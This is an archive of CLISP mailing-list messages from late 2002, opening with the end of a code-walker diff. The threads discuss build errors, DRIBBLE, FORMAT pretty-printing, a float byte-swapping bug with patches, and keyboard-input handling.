+         #+(or cmu CLISP) ; #+setf is defined later, in macros.lsp
+         ((and (listp x) (eq (car x) 'setf))
+          nil)
  	(t
  	 (error "Can't get template for ~S" x))))
  
***************
*** 1214,1225 ****
  
  (defvar walk-form-expand-macros-p nil)
  
! (defun macroexpand-all (form &optional environment)
    (let ((walk-form-expand-macros-p t))
      (walk-form form environment)))
  
  (defun WALK-FORM (form
! 		  &optional environment
  			    (walk-function
  			      #'(lambda (subform context env)
  				  (declare (ignore context env))
--- 1276,1292 ----
  
  (defvar walk-form-expand-macros-p nil)
  
! (defconstant *toplevel-environment*
!   #+(and CLISP have-symbol-macrolet) (vector nil nil)
!   #-(and CLISP have-symbol-macrolet) nil
! )
! 
! (defun macroexpand-all (form &optional (environment *toplevel-environment*))
    (let ((walk-form-expand-macros-p t))
      (walk-form form environment)))
  
  (defun WALK-FORM (form
! 		  &optional (environment *toplevel-environment*)
  			    (walk-function
  			      #'(lambda (subform context env)
  				  (declare (ignore context env))
***************
*** 1248,1254 ****
  ;;;
  (defun NESTED-WALK-FORM (whole
  			 form
! 			 &optional environment
  				   (walk-function
  				     #'(lambda (subform context env)
  					 (declare (ignore context env))
--- 1315,1321 ----
  ;;;
  (defun NESTED-WALK-FORM (whole
  			 form
! 			 &optional (environment *toplevel-environment*)
  				   (walk-function
  				     #'(lambda (subform context env)
  					 (declare (ignore context env))
***************
*** 1842,1848 ****
  
  (defun walk-macrolet (form context old-env)
    (walker-environment-bind (macro-env
! 			    nil
  			    :walk-function (env-walk-function old-env))
      (labels ((walk-definitions (definitions)
  	       (and definitions
--- 1909,1915 ----
  
  (defun walk-macrolet (form context old-env)
    (walker-environment-bind (macro-env
! 			    *toplevel-environment*
  			    :walk-function (env-walk-function old-env))
      (labels ((walk-definitions (definitions)
  	       (and definitions
***************
*** 1971,1977 ****
    (terpri)
    (terpri)
    (let ((copy-of-form (copy-tree form))
! 	(result (walk-form form nil
  		  #'(lambda (x y env)
  		      (format t "~&Form: ~S ~3T Context: ~A" x y)
  		      (when (symbolp x)
--- 2038,2044 ----
    (terpri)
    (terpri)
    (let ((copy-of-form (copy-tree form))
! 	(result (walk-form form *toplevel-environment*
  		  #'(lambda (x y env)
  		      (format t "~&Form: ~S ~3T Context: ~A" x y)
  		      (when (symbolp x)
***************
*** 2165,2171 ****
  (let ((the-lexical-variables ()))
    (walk-form '(let ((a 1) (b 2))
  		#'(lambda (x) (list a b x y)))
! 	     ()
  	     #'(lambda (form context env)
  		 (when (and (symbolp form)
  			    (variable-lexical-p form env))
--- 2232,2238 ----
  (let ((the-lexical-variables ()))
    (walk-form '(let ((a 1) (b 2))
  		#'(lambda (x) (list a b x y)))
! 	     *toplevel-environment*
  	     #'(lambda (form context env)
  		 (when (and (symbolp form)
  			    (variable-lexical-p form env))


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> For
> example I want (setq x '<Hindi word>) to render correctly when entered
> from the keyboard, and when read from a dribbled file and printed. Is
> this possible?

As Sam said, it's a feature of the terminal emulator. On Unix, clisp
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   http://www.haible.de/bruno/fibjap-emacs.gif

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I hame compiling error in debian
error message:
in stream.o undefined reference to 'tgogto'

I have to take ncurse  but not termcap
./makemake --with_termcap_ncurses dont work

what's now

????

thanks



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> From: clisp-list-admin@lists.sourceforge.net 
> [mailto:clisp-list-admin@lists.sourceforge.net] On Behalf Of 
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> > For
> > example I want (setq x '<Hindi word>) to render correctly 
> when entered 
> > from the keyboard, and when read from a dribbled file and 
> printed. Is 
> > this possible?
> 
> As Sam said, it's a feature of the terminal emulator. On 
> Unix, clisp has no problems with it. You have a screenshot at
>    http://www.haible.de/bruno/fibjap-xterm.gif
>    http://www.haible.de/bruno/fibjap-emacs.gif
> 
> Bruno
> 

OK. Clearly it is a Windows-only problem. Any thoughts on the
modifications required to make it work on Windows?

-Keith



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>>>>> "Bruno" == Bruno Haible <haible@ilog.fr> writes:

    Bruno> Raymond Toy wrote:
    >> Is there a code walker in clisp that can be used to walk through
    >> macrolets?  Series has support for a macrolet walker in LW and
    >> CMUCL.  Support for Clisp would be nice.
    >> ...
    >> CMUCL uses the code-walker from PCL to do this.

    Bruno> Then why don't you use the port of PCL's code walker to clisp?

I don't because, mostly, I don't want to maintain it as a part of
series.  CMUCL comes with PCL, so I don't have to maintain it.

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> * In message <3DF7B0EE.5010105@gmx.net>
> * On the subject of "[clisp-list] debian compiling error"
> * Sent on Wed, 11 Dec 2002 22:41:02 +0100
> * Honorable Andrej Bondar <Andrej_Bondar@gmx.net> writes:
>
> I hame compiling error in debian
what is your debian version?

> error message:
> in stream.o undefined reference to 'tgogto'

tgoto is a part of ncurses.
what is your ncurses version?

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Sam Steingold <sds@gnu.org> writes:

> > * In message <874r9xmdj4.fsf@bird.agharta.de>
> > * On the subject of "Re: [clisp-list] (DRIBBLE) in debugger"
> > * Sent on 02 Dec 2002 02:10:23 +0100
> > * Honorable Edi Weitz <edi@agharta.de> writes:
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> > Sam Steingold <sds@gnu.org> writes:
> > 
> > > Edi, are you prepared to check out the CVS head and test this
> > > change?
> > 
> > Yep, would be OK with me if you allow for short delays (maybe one to
> > three days - sometimes I'm quite busy with other things). Let me know
> > when there's something to test.
> 
> you had a week to test the patch.
> so, any problems so far?

I was away for a couple of days but I'm back now. I checked out CLISP
from CVS, rebuilt it and tried the example that I sent originally but
got the same results:

  edi@bird:~ > clisp
    i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
    I I I I I I I      8     8   8           8     8     o  8    8
    I  \ `+' /  I      8         8           8     8        8    8
     \  `-+-'  /       8         8           8      ooooo   8oooo
      `-__|__-'        8         8           8           8  8
          |            8     o   8           8     o     8  8
    ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

  Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
  Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
  Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
  Copyright (c) Bruno Haible, Sam Steingold 1999-2002

  ;; Loading file /home/edi/.clisp.lisp ...
  ;;  Loading file /usr/local/lisp/defsystem.fas ...
  ;;  Loaded file /usr/local/lisp/defsystem.fas
  ;; Loaded file /home/edi/.clisp.lisp
  [1]> (dribble "frob")
  #<OUTPUT BUFFERED FILE-STREAM CHARACTER #P"frob" @1>
  [2]> (/ 1 0)

  *** - division by zero
  1. Break [3]> (dribble)
  #<CLOSED OUTPUT BUFFERED FILE-STREAM CHARACTER #P"frob" @1>
  1. Break [3]> :a


  *** - The value of SYSTEM::*DRIBBLE-STREAM* is not a stream: NIL
  1. Break [5]>

Wasn't this supposed to work now? I understand from your explanations
that I can manually make a dribble stream and restore it but I somehow
thought the behaviour described above would also go away.

Cheers,
Edi.


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Hello,
 There is seems to be a bug in linux clisp (I tried this with WinXP and
it seemed to work as I expected) with with-keyboard/keyboard-input. If
you run this code the first character typed is ignored, then the second
is picked up and the loop terminates. The same behaviour if
read-char-no-hang is used instead of the listen/read-char combo. Of
course, I expect it to pick up the first character.

(setq c nil)
(ext:with-keyboard
 (loop
  (if (listen ext:*keyboard-input*) 
     (setq c (read-char ext:*keyboard-input*)))
 (when (not (eq nil c)) (return))))
(print c)

I'm running clisp 2.29/Redhat 7.3


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In CLISP 2.30 (freshly checked out from CVS):

  [1]> (defun foo (item list)
    (format t "~&~A: ~<~^~A~@{~:@_~A~}~:>" item list))
  FOO
  [2]> (foo 'bar (list 3 (make-hash-table) "frob"))
  BAR: (3 #S(HASH-TABLE EQL) frob)
  NIL

I expected this to look like, say, in CMUCL,

  * (foo 'bar (list 3 (make-hash-table) "frob"))

  BAR: 3
       #<EQL hash table, 0 entries {48D13B95}>
       frob
  NIL

i.e. I didn't expect the enclosing parentheses (according to CLHS
22.3.5.2: "If the enclosed portion consists of only a single segment,
both the prefix and the suffix default to the null string. If the
colon modifier is used (i.e., ~:<...~:>), the prefix and suffix
default to "(" and ")" (respectively) instead of the null string.")
and I expected the list elements to be on separate lines and aligned
(according to CLHS 22.3.5.1: "~:@_ is the same as (pprint-newline
:mandatory).").

Are these bugs or am I missing something about how pretty printing is
supposed to work (maybe some special variable that has different
default settings in CLISP than in CMUCL)?

BTW, I just realized that this behaviour may also be explained by
CLISP interpreting LIST as one single item instead of consuming each
element in turn but that still wouldn't meet my expectations.

Thanks,
Edi.



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> * In message <871y4occf3.fsf@bird.agharta.de>
> * On the subject of "Re: [clisp-list] (DRIBBLE) in debugger"
> * Sent on 12 Dec 2002 01:24:00 +0100
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>
> Sam Steingold <sds@gnu.org> writes:
> > you had a week to test the patch.
> > so, any problems so far?
> 
> I was away for a couple of days but I'm back now. I checked out CLISP
> from CVS, rebuilt it and tried the example that I sent originally but
> got the same results:

I sent a patch to the list.
did you apply it?
the patch was against the release, not the CVS.
if you prefer, you can update cvs now and try again.

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> * In message <87smx4auak.fsf@bird.agharta.de>
> * On the subject of "[clisp-list] FORMAT pretty printing directives"
> * Sent on 12 Dec 2002 02:40:51 +0100
> * Honorable Edi Weitz <edi@agharta.de> writes:
>
> In CLISP 2.30 (freshly checked out from CVS):

format / pprint in known to be "incomplete" (buggy).
would you like to work on this?

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Date: Thu Dec 12 02:02:02 2002
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Keith,

>> Unix, clisp has no problems with it. You have a screenshot at
>>    http://www.haible.de/bruno/fibjap-xterm.gif
>>    http://www.haible.de/bruno/fibjap-emacs.gif
>OK. Clearly it is a Windows-only problem. Any thoughts on the
>modifications required to make it work on Windows?

Try to make it work in Emacs and have Emacs deal with lots of fonts?
At least Emacs opens its own window and doesn't not run in a DOS-terminal.

But I have no experience with multi-language Emacs, the MULE etc.

Regards,
	Jorg Hohle.


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Sam Steingold <sds@gnu.org> writes:

> > * In message <871y4occf3.fsf@bird.agharta.de>
> > * On the subject of "Re: [clisp-list] (DRIBBLE) in debugger"
> > * Sent on 12 Dec 2002 01:24:00 +0100
> > * Honorable Edi Weitz <edi@agharta.de> writes:
> >
> > Sam Steingold <sds@gnu.org> writes:
> > > you had a week to test the patch.
> > > so, any problems so far?
> > 
> > I was away for a couple of days but I'm back now. I checked out CLISP
> > from CVS, rebuilt it and tried the example that I sent originally but
> > got the same results:
> 
> I sent a patch to the list.
> did you apply it?
> the patch was against the release, not the CVS.

No, sorry, my bad.

> if you prefer, you can update cvs now and try again.

OK, just did 'cvs update' and rebuilt. But it's still as before:

  edi@bird:~ > clisp
    i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
    I I I I I I I      8     8   8           8     8     o  8    8
    I  \ `+' /  I      8         8           8     8        8    8
     \  `-+-'  /       8         8           8      ooooo   8oooo
      `-__|__-'        8         8           8           8  8
          |            8     o   8           8     o     8  8
    ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

  Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
  Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
  Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
  Copyright (c) Bruno Haible, Sam Steingold 1999-2002

  ;; Loading file /home/edi/.clisp.lisp ...
  ;;  Loading file /usr/local/lisp/defsystem.fas ...
  ;;  Loaded file /usr/local/lisp/defsystem.fas
  ;; Loaded file /home/edi/.clisp.lisp
  [1]> (dribble "frob")
  #<OUTPUT BUFFERED FILE-STREAM CHARACTER #P"frob" @1>
  [2]> (/ 1 0)

  *** - division by zero
  1. Break [3]> (dribble)
  #<CLOSED OUTPUT BUFFERED FILE-STREAM CHARACTER #P"frob" @1>
  1. Break [3]> :a


  *** - The value of SYSTEM::*DRIBBLE-STREAM* is not a stream: NIL
  1. Break [5]>



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Sam Steingold <sds@gnu.org> writes:

> > * In message <87smx4auak.fsf@bird.agharta.de>
> > * On the subject of "[clisp-list] FORMAT pretty printing directives"
> > * Sent on 12 Dec 2002 02:40:51 +0100
> > * Honorable Edi Weitz <edi@agharta.de> writes:
> >
> > In CLISP 2.30 (freshly checked out from CVS):
> 
> format / pprint in known to be "incomplete" (buggy).
> would you like to work on this?

Hmm, the question isn't really whether I would _like_ to do it but
whether I _can_ do it. I wouldn't consider myself to be a proficient
Lisp coder and I have no idea whatsoever about the CLISP internals.

Apart from that it's always a matter of finding the spare time and
having different priorities. I mainly work with CMUCL and LispWorks
and usually only invoke CLISP and other CL implementations to make
sure my programs are portable.

Cheers,
Edi.


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--=-=-=


The subject says it all. It is for clisp-2.30.

Consider reading with (read-float ... 'double-float :big) the
following IEEE coding of 1.0d0 in big-endian (as used in XDR
representation): 

3f f0 00 00 00 00 00 00

There is an underflow exception raised.

The culprit is elt_nreverse() in stream.d for byte swapping, 
which does not work as intented. Same is true for the other ones of the
family: read-integer, write-integer and write-float.

In clisp-2.27, the call for elt_nreverse() was specific code. It works
ok. Here is a patch to restore the old code:


--=-=-=
Content-Type: application/octet-stream
Content-Disposition: attachment; filename=patch

--- clisp-2.30.orig/src/stream.d
+++ clisp-2.30/src/stream.d
@@ -16924,8 +16924,20 @@
   if (!(read_byte_array(&STACK_5,&STACK_0,0,bytesize) == bytesize))
     goto eof;
   bitbuffer = STACK_0;
-  if (endianness) # Byte-Swap the data.
-    elt_nreverse(bitbuffer,0,bytesize);
+  if (endianness) {
+      # Byte-Swap the data.
+      var uintL count = floor(bytesize,2);
+      if (count > 0) {
+        var uintB* ptr1 = &TheSbvector(bitbuffer)->data[0];
+        var uintB* ptr2 = &TheSbvector(bitbuffer)->data[bytesize-1];
+        dotimespL(count,count, {
+          var uintB x1 = *ptr1;
+          var uintB x2 = *ptr2;
+          *ptr1 = x2; *ptr2 = x1;
+          ptr1++; ptr2--;
+        });
+      }
+    }
   { # The data is now in little-endian order. Convert it to an integer.
     var object result;
     switch (eltype.kind) {
@@ -16973,8 +16985,20 @@
   if (!(read_byte_array(&STACK_5,&STACK_0,0,bytesize) == bytesize))
     goto eof;
   bitbuffer = STACK_0;
-  if (BIG_ENDIAN_P ? !endianness : endianness) # Byte-Swap the data.
-    elt_nreverse(bitbuffer,0,bytesize);
+  if (BIG_ENDIAN_P ? !endianness : endianness) {
+      # Byte-Swap the data.
+      var uintL count = floor(bytesize,2);
+      if (count > 0) {
+        var uintB* ptr1 = &TheSbvector(bitbuffer)->data[0];
+        var uintB* ptr2 = &TheSbvector(bitbuffer)->data[bytesize-1];
+        dotimespL(count,count, {
+          var uintB x1 = *ptr1;
+          var uintB x2 = *ptr2;
+          *ptr1 = x2; *ptr2 = x1;
+           ptr1++; ptr2--;
+        });
+      }
+    }
   # The data is now in machine-dependent order. Convert it to a float.
   switch (bytesize) {
     case sizeof(ffloatjanus):
@@ -17058,8 +17082,20 @@
     default: NOTREACHED;
   }
   # The data is now in little-endian order.
-  if (endianness) # Byte-Swap the data.
-    elt_nreverse(bitbuffer,0,bytesize);
+  if (endianness) {
+      # Byte-Swap the data.
+      var uintL count = floor(bytesize,2);
+      if (count > 0) {
+        var uintB* ptr1 = &TheSbvector(bitbuffer)->data[0];
+        var uintB* ptr2 = &TheSbvector(bitbuffer)->data[bytesize-1];
+        dotimespL(count,count, {
+          var uintB x1 = *ptr1;
+          var uintB x2 = *ptr2;
+          *ptr1 = x2; *ptr2 = x1;
+          ptr1++; ptr2--;
+        });
+      }
+    }
   # Write the data.
   write_byte_array(&STACK_3,&STACK_0,0,bytesize);
   FREE_DYNAMIC_BIT_VECTOR(STACK_0);
@@ -17129,8 +17165,20 @@
     default: NOTREACHED;
   }
   # The data is now in machine-dependent order.
-  if (BIG_ENDIAN_P ? !endianness : endianness) # Byte-Swap the data.
-    elt_nreverse(bitbuffer,0,bytesize);
+  if (BIG_ENDIAN_P ? !endianness : endianness) {
+      # Byte-Swap the data.
+      var uintL count = floor(bytesize,2);
+      if (count > 0) {
+        var uintB* ptr1 = &TheSbvector(bitbuffer)->data[0];
+        var uintB* ptr2 = &TheSbvector(bitbuffer)->data[bytesize-1];
+        dotimespL(count,count, {
+          var uintB x1 = *ptr1;
+          var uintB x2 = *ptr2;
+          *ptr1 = x2; *ptr2 = x1;
+          ptr1++; ptr2--;
+        });
+      }
+    }
   # Write the data.
   write_byte_array(&STACK_3,&STACK_0,0,bytesize);
   FREE_DYNAMIC_BIT_VECTOR(STACK_0);

--=-=-=


I insist on not using elt_nreverse(), which has the bad effect of beeing
very costly (on files of 1Mb size full of double-float, the additional
time cost is about 30% compared to the 2.27 version).

========================================

My second remark is about the impossibility to have a localized clisp-2.30
version by using the standard INSTALL instructions. The key to obtain
such a version is to compile with -DENABLE_NLS, which seems not be
controllable from the configure options. Here is a simple patch:

--- clisp-2.30.orig/src/makemake.in
+++ clisp-2.30/src/makemake.in
@@ -1296,6 +1296,7 @@
   if [ "${with_gettext}" = "0" ]; then
     XCFLAGS=$XCFLAGS' -DNO_GETTEXT'
   else
+    XCFLAGS=$XCFLAGS' -DENABLE_NLS'
     if [ @USE_NLS@ = yes ] ; then
       USE_GETTEXT=yes
       LIBS='@LIBINTL@ '$LIBS

but the maintainers can probably do better. In particular, 
the debian clisp-2.30 in unstable does not have this patch and hence 
is not localized.

Regards.

-- 

Bernard Urban

--=-=-=--


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> * In message <87k7ifbjk9.fsf@bird.agharta.de>
> * On the subject of "Re: [clisp-list] (DRIBBLE) in debugger"
> * Sent on 12 Dec 2002 11:47:18 +0100
> * Honorable Edi Weitz <edi@agharta.de> writes:
>
> Sam Steingold <sds@gnu.org> writes:
> > if you prefer, you can update cvs now and try again.
> 
> OK, just did 'cvs update' and rebuilt. But it's still as before:

check that you have no sticky tags.
remove your build directory and reconfigure.

>   *** - The value of SYSTEM::*DRIBBLE-STREAM* is not a stream: NIL

there is no such symbol in the CVS head CLISP.


[2]> (dribble "frob")
#<OUTPUT BUFFERED FILE-STREAM CHARACTER #P"frob" @1>
[3]> (/ 0)

*** - division by zero
1. Break [4]> (dribble)
#<CLOSED OUTPUT BUFFERED FILE-STREAM CHARACTER #P"frob" @1>
1. Break [4]>  
[5]> 


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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    Sam> (let ((SYSTEM::*FENV* nil) (SYSTEM::*vENV* nil))
    Sam>   (sys::%expand-form '(macrolet ((bar (x) `(print ,x)))
    Sam>                         (macrolet ((baz (x) `(bar ,x)))
    Sam>                           (baz 3)))))
    Sam> ==>
    Sam> (PRINT 3) ;
    Sam> T

I tried this out.  It works nicely, and a little better than the LW or
PCL walker because they leave the macrolet forms in, which I then have
to skip over.

Thanks!

Ray


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> * In message <87vg1zifse.fsf@merceron.meteo.fr>
> * On the subject of "[clisp-list] read-integer, read-float, write-integer and write-float bug + more"
> * Sent on 12 Dec 2002 13:26:57 +0100
> * Honorable Bernard Urban <Bernard.Urban@meteo.fr> writes:
>
> Consider reading with (read-float ... 'double-float :big) the
> following IEEE coding of 1.0d0 in big-endian

how do I create a file like that?

> (as used in XDR representation):
what is XDR?

> 3f f0 00 00 00 00 00 00

when I type this into a hex editor, I get this:

$ hexdump bin 
0000000 f03f 0000 0000 0000                    
0000008

I am confused.  I use linux/x86.  Can it be that I have a different
endiannes than you do?

> There is an underflow exception raised.

indeed.

But I also see this:

$ clisp -q -norc

[1]> (with-open-file (b "bin1" :element-type 'unsigned-byte :direction :output)
       (write-float 1d0 b  'double-float :big))
1.0d0
[2]> (with-open-file (b "bin1" :element-type 'unsigned-byte :direction :input)
       (read-float b  'double-float :big))
1.0d0
[3]> 
$ hexdump bin1
0000000 0000 0000 0000 3ff0                    
0000008

I.e., we do have i/o consistency here, right?

> The culprit is elt_nreverse() in stream.d for byte swapping, which
> does not work as intented. Same is true for the other ones of the
> family: read-integer, write-integer and write-float.

elt_nreverse() is also used for NREVERSE - could you please give an
example where it produces wrong results there?

> I insist on not using elt_nreverse(), which has the bad effect of
> beeing very costly (on files of 1Mb size full of double-float, the
> additional time cost is about 30% compared to the 2.27 version).

interesting - actually, elt_nreverse() does the exact same thing as the
old code (see the SIMPLE_NREVERSE CPP macro), so all the overhead is
the C function call. can it really be that expensive?

> ========================================

In the futrure, could you please send separate messages for separate
issues?  Thanks.

> My second remark is about the impossibility to have a localized
> clisp-2.30 version by using the standard INSTALL instructions.

Thanks for reporting this.
I fixed this problem in a different way.
Please try the latest CVS head and report whether the probles has been
indeed fixed.  Thanks.


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> * In message <87vg1zifse.fsf@merceron.meteo.fr>
> * On the subject of "[clisp-list] read-integer, read-float, write-integer and write-float bug + more"
> * Sent on 12 Dec 2002 13:26:57 +0100
> * Honorable Bernard Urban <Bernard.Urban@meteo.fr> writes:
>
> Consider reading with (read-float ... 'double-float :big) the
> following IEEE coding of 1.0d0 in big-endian

how do I create a file like that?

> (as used in XDR representation):
what is XDR?

> 3f f0 00 00 00 00 00 00

when I type this into a hex editor, I get this:

$ hexdump bin 
0000000 f03f 0000 0000 0000                    
0000008

I am confused.  I use linux/x86.  Can it be that I have a different
endiannes than you do?

> There is an underflow exception raised.

indeed.

But I also see this:

$ clisp -q -norc

[1]> (with-open-file (b "bin1" :element-type 'unsigned-byte :direction :output)
       (write-float 1d0 b  'double-float :big))
1.0d0
[2]> (with-open-file (b "bin1" :element-type 'unsigned-byte :direction :input)
       (read-float b  'double-float :big))
1.0d0
[3]> 
$ hexdump bin1
0000000 0000 0000 0000 3ff0                    
0000008

I.e., we do have i/o consistency here, right?

> The culprit is elt_nreverse() in stream.d for byte swapping, which
> does not work as intented. Same is true for the other ones of the
> family: read-integer, write-integer and write-float.

elt_nreverse() is also used for NREVERSE - could you please give an
example where it produces wrong results there?

> I insist on not using elt_nreverse(), which has the bad effect of
> beeing very costly (on files of 1Mb size full of double-float, the
> additional time cost is about 30% compared to the 2.27 version).

interesting - actually, elt_nreverse() does the exact same thing as the
old code (see the SIMPLE_NREVERSE CPP macro), so all the overhead is
the C function call. can it really be that expensive?

> ========================================

In the futrure, could you please send separate messages for separate
issues?  Thanks.

> My second remark is about the impossibility to have a localized
> clisp-2.30 version by using the standard INSTALL instructions.

Thanks for reporting this.
I fixed this problem in a different way.
Please try the latest CVS head and report whether the probles has been
indeed fixed.  Thanks.


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Bernard Urban wrote:
>I insist on not using elt_nreverse(), which has the bad effect of beeing
>very costly (on files of 1Mb size full of double-float, the additional
>time cost is about 30% compared to the 2.27 version).

It may be very costly, but its use seems completely wrong. It NREVERSE a bit-vector, while the comment say to *byte swap*. That's not at all the same manipulation of data.

  if (BIG_ENDIAN_P ? !endianness : endianness) # Byte-Swap the data.
    elt_nreverse(bitbuffer,0,bytesize);

elt_nreverse doesn't byte swap on a bit buffer. It may do so only for arrays of element-type (unsigned-byte 8), not arrays of bits. For u-8, elt_nreverse() should be as efficient as inlined code.

Talking about microcycles, bytesize would have been better declared as uintBWL for some systems (Intel not affected since prefers all 32bit ints), and you have to hope for memcpy(...,sizeof(ffloatjanus)) to be inlined. CLISP has dotimespL() and doconsttimes() for such loops.

Again, constant folding rules loops and one would obtain more speed if there were a function to parse a whole array of floats or ints at once. That's what I call the principle of working on blocks.

Thanks for discovering and reporting this.

	Jorg Hohle.


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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE8AA196@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] read-integer, read-float, write-integer and write-fl oat bug + more"
> * Sent on Thu, 12 Dec 2002 19:49:39 +0100
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> It may be very costly, but its use seems completely wrong. It NREVERSE
> a bit-vector, while the comment say to *byte swap*. That's not at all
> the same manipulation of data.

this explains the performance hit.
thanks!

this is now fixed in the CVS.

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Sam Steingold <sds@gnu.org> writes:

> > * In message <87vg1zifse.fsf@merceron.meteo.fr>
> > * On the subject of "[clisp-list] read-integer, read-float, write-integer and write-float bug + more"
> > * Sent on 12 Dec 2002 13:26:57 +0100
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> >
> > Consider reading with (read-float ... 'double-float :big) the
> > following IEEE coding of 1.0d0 in big-endian
> 
> how do I create a file like that?
> 

I found the problem by using an XDR file generated by the Right Thing
(namely a rpcgen generated program). You could use clisp as in your
exemple below, BUT RELEASE 2.27 or before, of course...

> > (as used in XDR representation):
> what is XDR?

It is the serialized representation of data used by Sun Remote
Procedure Call. An incredible tool, largely forgotten today 
(or reinvented badly, as in XML-RPC).

> > 3f f0 00 00 00 00 00 00
> 
> when I type this into a hex editor, I get this:
> 
> $ hexdump bin 
> 0000000 f03f 0000 0000 0000                    
> 0000008
> 
> I am confused.  I use linux/x86.  Can it be that I have a different

I do found the problem on x86 (which is little endian, and XDR is
big endian, hence the swapping of F0 and 3F). So it is correct.
Try 'od -t x1' if in doubt.

> endiannes than you do?
> 
> > There is an underflow exception raised.
> 
> indeed.
> 
> But I also see this:
> 
> $ clisp -q -norc
> 
> [1]> (with-open-file (b "bin1" :element-type 'unsigned-byte :direction :output)
>        (write-float 1d0 b  'double-float :big))
> 1.0d0
> [2]> (with-open-file (b "bin1" :element-type 'unsigned-byte :direction :input)
>        (read-float b  'double-float :big))
> 1.0d0
> [3]> 
> $ hexdump bin1
> 0000000 0000 0000 0000 3ff0                    
> 0000008
> 
> I.e., we do have i/o consistency here, right?

Yes, but...
Actually, the same error in write-float compensate for the one in
read-float (elt_nreverse being its own inverse).

> 
> > The culprit is elt_nreverse() in stream.d for byte swapping, which
> > does not work as intented. Same is true for the other ones of the
> > family: read-integer, write-integer and write-float.
> 
> elt_nreverse() is also used for NREVERSE - could you please give an
> example where it produces wrong results there?
> 

No, I think elt_nreverse() is probably correct, but there is a switch
statement, and you probably end up in the wrong case for read-float
and friends.

> > I insist on not using elt_nreverse(), which has the bad effect of
> > beeing very costly (on files of 1Mb size full of double-float, the
> > additional time cost is about 30% compared to the 2.27 version).
> 
> interesting - actually, elt_nreverse() does the exact same thing as the
> old code (see the SIMPLE_NREVERSE CPP macro), so all the overhead is
> the C function call. can it really be that expensive?
> 

Apparently, it is so, for reading and writing, at least on the system I use (K6-2).

> > ========================================
> 
> In the futrure, could you please send separate messages for separate
> issues?  Thanks.

Ok.

> 
> > My second remark is about the impossibility to have a localized
> > clisp-2.30 version by using the standard INSTALL instructions.
> 
> Thanks for reporting this.
> I fixed this problem in a different way.
> Please try the latest CVS head and report whether the probles has been
> indeed fixed.  Thanks.
> 

I will be able to test this tomorrow.

Regards.

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Is the following a bug or correct behaviour? I would have thought that
BOUNDP shouldn't return T because the symbol is only FBOUNDP by being
a symbol-macro.

I was also surprised to see something like a global symbol-macro. I
thought these do only exist within the scope of a SYMBOL-MACROLET.

Thanks,
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  [1]> (describe 'FFI::*VARIABLE-LIST*)

  FFI::*VARIABLE-LIST* is the symbol FFI::*VARIABLE-LIST*, lies in #<PACKAGE FFI>, is accessible in 1 package FFI, a variable (macro: (FFI::FFI-MODULE-VARIABLE-LIST SYSTEM::*FFI-MODULE*)), value:
  #<SYMBOL-MACRO (FFI::FFI-MODULE-VARIABLE-LIST SYSTEM::*FFI-MODULE*)>.
  For more information, evaluate (MACROEXPAND-1 'FFI::*VARIABLE-LIST*).

   #<PACKAGE FFI> is the package named FFI.
   It imports the external symbols of 2 packages COMMON-LISP, EXT and exports 58 symbols to 1 package REGEXP.

   #<SYMBOL-MACRO (FFI::FFI-MODULE-VARIABLE-LIST SYSTEM::*FFI-MODULE*)> is a symbol macro handler.

  [2]> (boundp 'FFI::*VARIABLE-LIST*)
  T
  [3]> (symbol-value 'FFI::*VARIABLE-LIST*)

  *** - SYSTEM::%STRUCTURE-REF: NIL is not a structure of type FFI::FFI-MODULE
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Sam Steingold <sds@gnu.org> writes:

> > * In message <87k7ifbjk9.fsf@bird.agharta.de>
> > * On the subject of "Re: [clisp-list] (DRIBBLE) in debugger"
> > * Sent on 12 Dec 2002 11:47:18 +0100
> > * Honorable Edi Weitz <edi@agharta.de> writes:
> >
> > Sam Steingold <sds@gnu.org> writes:
> > > if you prefer, you can update cvs now and try again.
> > 
> > OK, just did 'cvs update' and rebuilt. But it's still as before:
> 
> check that you have no sticky tags.
> remove your build directory and reconfigure.

OK, that was it. DRIBBLE now works fine and as I had hoped.

Thanks,
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> * In message <87r8cni545.fsf@merceron.meteo.fr>
> * On the subject of "Re: [clisp-list] read-integer, read-float, write-integer and write-float bug + more"
> * Sent on 12 Dec 2002 17:17:30 +0100
> * Honorable Bernard Urban <Bernard.Urban@meteo.fr> writes:
>
> > how do I create a file like that?
> 
> I found the problem by using an XDR file generated by the Right Thing
> (namely a rpcgen generated program).

could you please give some more examples for the regression test?
right now I have

(let ((vec (make-array 8 :element-type '(unsigned-byte 8)
                       :initial-contents '(#x3f #xf0 0 0 0 0 0 0))))
  (with-open-file (foo "./foocl" :direction :output
                       :element-type '(unsigned-byte 8))
    (write-sequence vec foo))
  (prog1
      (with-open-file (foo "./foocl" :direction :input
                           :element-type '(unsigned-byte 8))
        (read-float foo 'double-float :big))
    (delete-file "./foocl")))

can you give me more binary representations of floats and integers in
various endiannesses?

> You could use clisp as in your
> exemple below, BUT RELEASE 2.27 or before, of course...

actually, CVS head CLISP should do too.

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> * In message <1039656278.1668.990.camel@woody.snu.ac.kr>
> * On the subject of "[clisp-list] ext:with-keyboard / ext:*keyboard-input* and listen"
> * Sent on 12 Dec 2002 10:24:38 +0900
> * Honorable Jamison Masse <jamison@redwood.snu.ac.kr> writes:
>
>  There is seems to be a bug in linux clisp (I tried this with WinXP and
> it seemed to work as I expected) with with-keyboard/keyboard-input. If
> you run this code the first character typed is ignored, then the second
> is picked up and the loop terminates. The same behaviour if
> read-char-no-hang is used instead of the listen/read-char combo. Of
> course, I expect it to pick up the first character.

thanks for reporting the bug.
Please try the appended patch - it should fix the bug.
Please report your experiences here ASAP.

> (setq c nil)
> (ext:with-keyboard
>  (loop
>   (if (listen ext:*keyboard-input*) 
>      (setq c (read-char ext:*keyboard-input*)))
>  (when (not (eq nil c)) (return))))
> (print c)

note that this is a "busywait" loop, i.e., it will get your loadavg to 1.

> I'm running clisp 2.29/Redhat 7.3

the latest release is 2.30.

